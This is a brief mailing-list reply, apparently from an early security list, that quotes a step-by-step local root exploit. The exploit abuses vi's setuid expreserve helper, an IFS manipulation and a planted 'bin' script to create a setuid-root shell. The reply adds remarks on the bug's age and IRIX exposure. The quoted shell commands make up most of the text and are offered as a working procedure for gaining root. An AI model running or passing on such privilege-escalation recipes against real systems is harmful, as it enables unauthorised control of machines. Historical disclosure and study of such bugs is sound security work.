Re: chmod 000 .rhosts - works?

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> 
> ObBug: vi runs expreserve when it crashes or you type ':pre' (on some
>   versions).  Expreserve is setuid root.  Expreserve runs /bin/mail
>   with 'system()'.  So, do the following:
>     % cd /tmp
>     % cp /bin/sh fubar
>     % cat > bin
>     chmod 4755 fubar
>     ^D
>     % chmod u+x fubar
>     % setenv IFS=/
>     % vi
>     :pre
>     :q
>     % fubar
>     #

It has been known since 1986? You'll find IRIX 4.0.X vulnerable to it,
but expreserve is sgid sys, so you'd get access to read kmem tables --

Regards

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